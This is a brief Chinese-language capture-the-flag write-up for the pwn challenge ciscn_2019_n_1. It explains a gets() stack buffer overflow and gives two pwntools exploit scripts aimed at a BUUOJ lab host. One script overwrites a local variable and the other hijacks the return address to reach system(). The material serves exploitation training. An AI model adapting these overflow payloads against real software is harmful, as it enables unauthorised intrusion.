ciscn_2019_n_1
题目分析
这题的主要溢出点在于gets(v1),但是这题有两种思路,第一种方法是通过gets函数溢出修改变量v2的值,使v2能够通过if判断语句,执行system函数,第二种方法还是通过gets(v1)溢出,不过这次是通过libc来实现,将ebp覆盖为system函数的地址
第一种方法
from pwn import* io=remote("node4.buuoj.cn",29011) payload=b'M'*(0x30-4)+p64(0x41348000) io.sendline(payload) io.interactive()
第二种方法
libc方法,这个跟之前打法类似,主要是劫持ret的返回地址,因此先填充48个字节的M,这个是将v1和v2的值填充,然后再加上8个字节的M将之前储存的rbp的值覆盖,然后用system函数的执行地址来覆盖ret返回地址,从而达到劫持返回地址的目的,这样payload为
from pwn import * io=remote("node4.buuoj.cn",29011) payload=b'M'*(0x30+8)+p64(0x4006BE) io.sendline(payload) io.interactive()